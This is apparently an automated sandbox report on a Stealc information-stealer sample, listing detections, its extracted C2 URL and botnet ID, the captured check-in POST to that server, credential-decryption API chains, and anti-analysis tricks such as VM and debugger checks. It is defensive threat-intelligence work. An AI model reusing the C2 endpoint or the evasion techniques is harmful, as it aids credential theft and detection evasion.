Edit tour

Windows Analysis Report
file.exe

Overview

General Information

Sample name:	file.exe
Analysis ID:	1529189
MD5:	f7b1143886156d2a48fcda8f5dec586e
SHA1:	d0f524caa5ff55008c62c71fe8bf47e5c9cb12b2
SHA256:	2b2dba893754d1e80e4fd6520017a706679796376cddcb37a09552e170e4ce21
Tags:	exeuser-Bitsight
Infos:

Detection

Stealc

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for URL or domain

Detected unpacking (changes PE section rights)

Found malware configuration

Suricata IDS alerts for network traffic

Yara detected Powershell download and execute

Yara detected Stealc

AI detected suspicious sample

C2 URLs / IPs found in malware configuration

Found evasive API chain (may stop execution after checking locale)

Hides threads from debuggers

Machine Learning detection for sample

PE file contains section with special chars

Searches for specific processes (likely to inject)

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Checks for debuggers (devices)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality to create guard pages, often used to hinder reverse engineering and debugging

Contains functionality to dynamically determine API calls

Contains functionality to query locales information (e.g. system language)

Contains functionality to read the PEB

Contains functionality which may be used to detect a debugger (GetProcessHeap)

Detected potential crypto function

Entry point lies outside standard sections

Extensive use of GetProcAddress (often used to hide API calls)

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

PE file contains an invalid checksum

PE file contains sections with non-standard names

Program does not show much activity (idle)

Queries the volume information (name, serial number etc) of a device

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Classification

Process Tree

System is w10x64

file.exe (PID: 7056 cmdline: "C:\Users\user\Desktop\file.exe" MD5: F7B1143886156D2A48FCDA8F5DEC586E)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-stealc-cbe5c94b84af	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Malware Configuration

Threatname: StealC

{"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.1358788116.0000000004E60000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1399229578.000000000099E000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: file.exe PID: 7056	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: file.exe PID: 7056	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Unpacked PEs

Source	Rule	Description	Author	Strings
0.2.file.exe.be0000.0.unpack	JoeSecurity_Stealc	Yara detected Stealc	Joe Security

Suricata Signatures

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-10-08T18:26:14.098409+0200	2044243	1	Malware Command and Control Activity Detected	192.168.2.7	49715	185.215.113.37	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: file.exe

Avira: detected

Antivirus detection for URL or domain

Source: http://185.215.113.37/	URL Reputation: Label: malware
Source: http://185.215.113.37	URL Reputation: Label: malware
Source: http://185.215.113.37/e2b1563c6670f193.php	URL Reputation: Label: malware

Found malware configuration

Source: 0.2.file.exe.be0000.0.unpack

Malware Configuration Extractor: StealC {"C2 url": "http://185.215.113.37/e2b1563c6670f193.php", "Botnet": "doma"}

AI detected suspicious sample

Source: Submited Sample

Integrated Neural Analysis Model: Matched 100.0% probability

Machine Learning detection for sample

Source: file.exe

Joe Sandbox ML: detected

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BEC820 lstrlen,CryptStringToBinaryA,lstrcat,lstrcat,lstrcat,	0_2_00BEC820
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BE9AC0 CryptStringToBinaryA,LocalAlloc,CryptStringToBinaryA,LocalFree,	0_2_00BE9AC0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BE7240 GetProcessHeap,RtlAllocateHeap,CryptUnprotectData,WideCharToMultiByte,LocalFree,	0_2_00BE7240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BE9B60 CryptUnprotectData,LocalAlloc,LocalFree,	0_2_00BE9B60
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BF8EA0 CryptBinaryToStringA,GetProcessHeap,RtlAllocateHeap,CryptBinaryToStringA,	0_2_00BF8EA0

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BF38B0 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,PathMatchSpecA,CoInitialize,CoUninitialize,lstrcat,lstrlen,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,wsprintfA,CopyFileA,__ehfuncinfo$??2@YAPAXIABUnothrow_t@std@@@Z,DeleteFileA,FindNextFileA,FindClose,	0_2_00BF38B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BF4910 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00BF4910
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BEDA80 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_00BEDA80
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BEE430 FindFirstFileA,StrCmpCA,StrCmpCA,FindNextFileA,	0_2_00BEE430
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BEED20 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrlen,DeleteFileA,CopyFileA,FindNextFileA,FindClose,	0_2_00BEED20
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BF4570 GetProcessHeap,RtlAllocateHeap,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,lstrcat,lstrcat,lstrlen,lstrlen,	0_2_00BF4570
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BEF6B0 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00BEF6B0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BF3EA0 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00BF3EA0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BE16D0 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00BE16D0
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BEDE10 FindFirstFileA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00BEDE10
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00BEBE70 FindFirstFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,DeleteFileA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,CopyFileA,StrCmpCA,DeleteFileA,StrCmpCA,FindNextFileA,FindClose,	0_2_00BEBE70

Networking

Suricata IDS alerts for network traffic

Source: Network traffic

Suricata IDS: 2044243 - Severity 1 - ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in : 192.168.2.7:49715 -> 185.215.113.37:80

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

URLs: http://185.215.113.37/e2b1563c6670f193.php

Source: global traffic	HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDGCFBAEGDHJKEBGCBAHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 44 47 43 46 42 41 45 47 44 48 4a 4b 45 42 47 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 37 38 32 34 45 36 34 39 34 46 42 34 31 30 39 33 35 33 31 37 31 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 47 43 46 42 41 45 47 44 48 4a 4b 45 42 47 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 47 43 46 42 41 45 47 44 48 4a 4b 45 42 47 43 42 41 2d 2d 0d 0a Data Ascii: ------CGDGCFBAEGDHJKEBGCBAContent-Disposition: form-data; name="hwid"77824E6494FB4109353171------CGDGCFBAEGDHJKEBGCBAContent-Disposition: form-data; name="build"doma------CGDGCFBAEGDHJKEBGCBA--

Source: Joe Sandbox View

IP Address: 185.215.113.37 185.215.113.37

Source: Joe Sandbox View

ASN Name: WHOLESALECONNECTIONSNL WHOLESALECONNECTIONSNL

Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37
Source: unknown	TCP traffic detected without corresponding DNS query: 185.215.113.37

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BE4880 InternetOpenA,StrCmpCA,InternetConnectA,HttpOpenRequestA,lstrlen,lstrlen,HttpSendRequestA,InternetReadFile,InternetCloseHandle,InternetCloseHandle,InternetCloseHandle,

0_2_00BE4880

Source: global traffic

HTTP traffic detected: GET / HTTP/1.1Host: 185.215.113.37Connection: Keep-AliveCache-Control: no-cache

Source: unknown

HTTP traffic detected: POST /e2b1563c6670f193.php HTTP/1.1Content-Type: multipart/form-data; boundary=----CGDGCFBAEGDHJKEBGCBAHost: 185.215.113.37Content-Length: 211Connection: Keep-AliveCache-Control: no-cacheData Raw: 2d 2d 2d 2d 2d 2d 43 47 44 47 43 46 42 41 45 47 44 48 4a 4b 45 42 47 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 37 37 38 32 34 45 36 34 39 34 46 42 34 31 30 39 33 35 33 31 37 31 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 47 43 46 42 41 45 47 44 48 4a 4b 45 42 47 43 42 41 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 64 6f 6d 61 0d 0a 2d 2d 2d 2d 2d 2d 43 47 44 47 43 46 42 41 45 47 44 48 4a 4b 45 42 47 43 42 41 2d 2d 0d 0a Data Ascii: ------CGDGCFBAEGDHJKEBGCBAContent-Disposition: form-data; name="hwid"77824E6494FB4109353171------CGDGCFBAEGDHJKEBGCBAContent-Disposition: form-data; name="build"doma------CGDGCFBAEGDHJKEBGCBA--

Source: file.exe, 00000000.00000002.1399229578.000000000099E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37
Source: file.exe, 00000000.00000002.1399229578.00000000009FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/
Source: file.exe, 00000000.00000002.1399229578.00000000009FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/M
Source: file.exe, 00000000.00000002.1399229578.00000000009FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.php
Source: file.exe, 00000000.00000002.1399229578.00000000009FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpWindows
Source: file.exe, 00000000.00000002.1399229578.0000000000A1A000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpZ
Source: file.exe, 00000000.00000002.1399229578.00000000009FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/e2b1563c6670f193.phpc
Source: file.exe, 00000000.00000002.1399229578.00000000009FA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37/ws
Source: file.exe, 00000000.00000002.1399229578.000000000099E000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://185.215.113.37s

System Summary

PE file contains section with special chars

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB88C1	0_2_00FB88C1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F330B5	0_2_00F330B5
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00F5B0A1	0_2_00F5B0A1
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FAB061	0_2_00FAB061
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EE5160	0_2_00EE5160
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E4F953	0_2_00E4F953
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E72128	0_2_00E72128
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FAE2A4	0_2_00FAE2A4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB3240	0_2_00FB3240
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB6BC6	0_2_00FB6BC6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EE244F	0_2_00EE244F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EE844F	0_2_00EE844F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00EF1C47	0_2_00EF1C47
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00ECA54B	0_2_00ECA54B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB17A9	0_2_00FB17A9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00E8EF21	0_2_00E8EF21

Source: C:\Users\user\Desktop\file.exe

Code function: String function: 00BE45C0 appears 316 times

Source: file.exe

Static PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: file.exe

Static PE information: Section: uwwmduoa ZLIB complexity 0.9947200123856708

Source: file.exe, 00000000.00000003.1358788116.0000000004E60000.00000004.00001000.00020000.00000000.sdmp, file.exe, 00000000.00000002.1399448428.0000000000BE1000.00000040.00000001.01000000.00000003.sdmp

Binary or memory string: =R.SLN6CO6A3TUV4VI7QN) U16F5V0%Q$'V<+59CPLCJJULOYXRHGLPW "53>/1

Source: classification engine

Classification label: mal100.troj.evad.winEXE@1/0@0/1

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BF8680 CreateToolhelp32Snapshot,Process32First,Process32Next,CloseHandle,

0_2_00BF8680

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BF3720 CoCreateInstance,MultiByteToWideChar,lstrcpyn,

0_2_00BF3720

Source: C:\Users\user\Desktop\file.exe

File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\BEDT2L3A\J1TU0JXR.htm

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: file.exe

String found in binary or memory: 3Cannot find '%s'. Please, re-install this application

Source: C:\Users\user\Desktop\file.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Section loaded: netutils.dll	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{0358b920-0ac7-461f-98f4-58e32cd89148}\InProcServer32

Jump to behavior

Source: file.exe

Static file information: File size 1835520 > 1048576

Source: file.exe

Static PE information: Raw size of uwwmduoa is bigger than: 0x100000 < 0x19a000

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe

Unpacked PE file: 0.2.file.exe.be0000.0.unpack :EW;.rsrc :W;.idata :W; :EW;uwwmduoa:EW;roqxtsuu:EW;.taggant:EW; vs :ER;.rsrc :W;.idata :W; :EW;uwwmduoa:EW;roqxtsuu:EW;.taggant:EW;

Source: C:\Users\user\Desktop\file.exe

Code function: 0_2_00BF9860 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00BF9860

Source: initial sample

Static PE information: section where entry point is pointing to: .taggant

Source: file.exe

Static PE information: real checksum: 0x1cd38a should be: 0x1ca6aa

Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: .rsrc
Source: file.exe	Static PE information: section name: .idata
Source: file.exe	Static PE information: section name:
Source: file.exe	Static PE information: section name: uwwmduoa
Source: file.exe	Static PE information: section name: roqxtsuu
Source: file.exe	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_0104F91D push 304A7641h; mov dword ptr [esp], ebp	0_2_0104F939
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB88C1 push 2745F180h; mov dword ptr [esp], edx	0_2_00FB88D6
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB88C1 push ebx; mov dword ptr [esp], ecx	0_2_00FB890A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB88C1 push eax; mov dword ptr [esp], edi	0_2_00FB8926
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB88C1 push 3167293Eh; mov dword ptr [esp], edi	0_2_00FB8936
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB88C1 push ecx; mov dword ptr [esp], eax	0_2_00FB8980
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB88C1 push 2BFE7D55h; mov dword ptr [esp], edx	0_2_00FB8A32
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB88C1 push 31E54D54h; mov dword ptr [esp], edi	0_2_00FB8A7E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB88C1 push 03052DDAh; mov dword ptr [esp], edx	0_2_00FB8A9C
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB88C1 push ecx; mov dword ptr [esp], edi	0_2_00FB8AC3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB88C1 push 7A69479Eh; mov dword ptr [esp], ebx	0_2_00FB8AD9
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB88C1 push eax; mov dword ptr [esp], ebp	0_2_00FB8ADD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB88C1 push 09274CB2h; mov dword ptr [esp], eax	0_2_00FB8B1B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB88C1 push ebx; mov dword ptr [esp], eax	0_2_00FB8B5B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB88C1 push eax; mov dword ptr [esp], 5BB97D04h	0_2_00FB8B5F
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB88C1 push 3E4E5128h; mov dword ptr [esp], esp	0_2_00FB8BA4
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB88C1 push ebx; mov dword ptr [esp], eax	0_2_00FB8C6E
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB88C1 push ecx; mov dword ptr [esp], 38368FE0h	0_2_00FB8C72
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB88C1 push esi; mov dword ptr [esp], ebp	0_2_00FB8CEE
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB88C1 push eax; mov dword ptr [esp], esi	0_2_00FB8D06
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB88C1 push 68EA52D2h; mov dword ptr [esp], edx	0_2_00FB8D94
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB88C1 push ecx; mov dword ptr [esp], 61953C7Fh	0_2_00FB8D9B
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB88C1 push esi; mov dword ptr [esp], ebx	0_2_00FB8DCD
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB88C1 push 2645FD33h; mov dword ptr [esp], edi	0_2_00FB8E33
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB88C1 push ebx; mov dword ptr [esp], 7ECF1CC4h	0_2_00FB8E4A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB88C1 push edi; mov dword ptr [esp], eax	0_2_00FB8E8A
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB88C1 push edi; mov dword ptr [esp], edx	0_2_00FB8F15
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB88C1 push edi; mov dword ptr [esp], eax	0_2_00FB8FAF
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB88C1 push ecx; mov dword ptr [esp], eax	0_2_00FB8FB3
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB88C1 push 6E89007Ch; mov dword ptr [esp], edx	0_2_00FB9050
Source: C:\Users\user\Desktop\file.exe	Code function: 0_2_00FB88C1 push edx; mov dword ptr [esp], eax	0_2_00FB90CE

Source: file.exe

Static PE information: section name: uwwmduoa entropy: 7.952745504093785

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior

Source: C:\Users\user\Desktop\file.exe

0_2_00BF9860

Malware Analysis System Evasion

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\file.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-13640

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_CURRENT_USER\Software\Wine			Jump to behavior
Source: C:\Users\user\Desktop\file.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__			Jump to behavior

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FADDE0 second address: FADDFA instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6720533114h 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FADDFA second address: FADE09 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007F67208644CBh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD165 second address: FBD189 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007F6720533114h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d jg 00007F6720533106h 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD189 second address: FBD18D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD18D second address: FBD197 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007F6720533106h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD31C second address: FBD320 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD320 second address: FBD336 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F6720533110h 0x00000007 push edi 0x00000008 pop edi 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD91E second address: FBD93E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 jmp 00007F67208644D6h 0x0000000b popad 0x0000000c pushad 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: FBD93E second address: FBD95B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push edi 0x00000005 pop edi 0x00000006 jmp 00007F6720533116h 0x0000000b popad 0x0000000c rdtsc
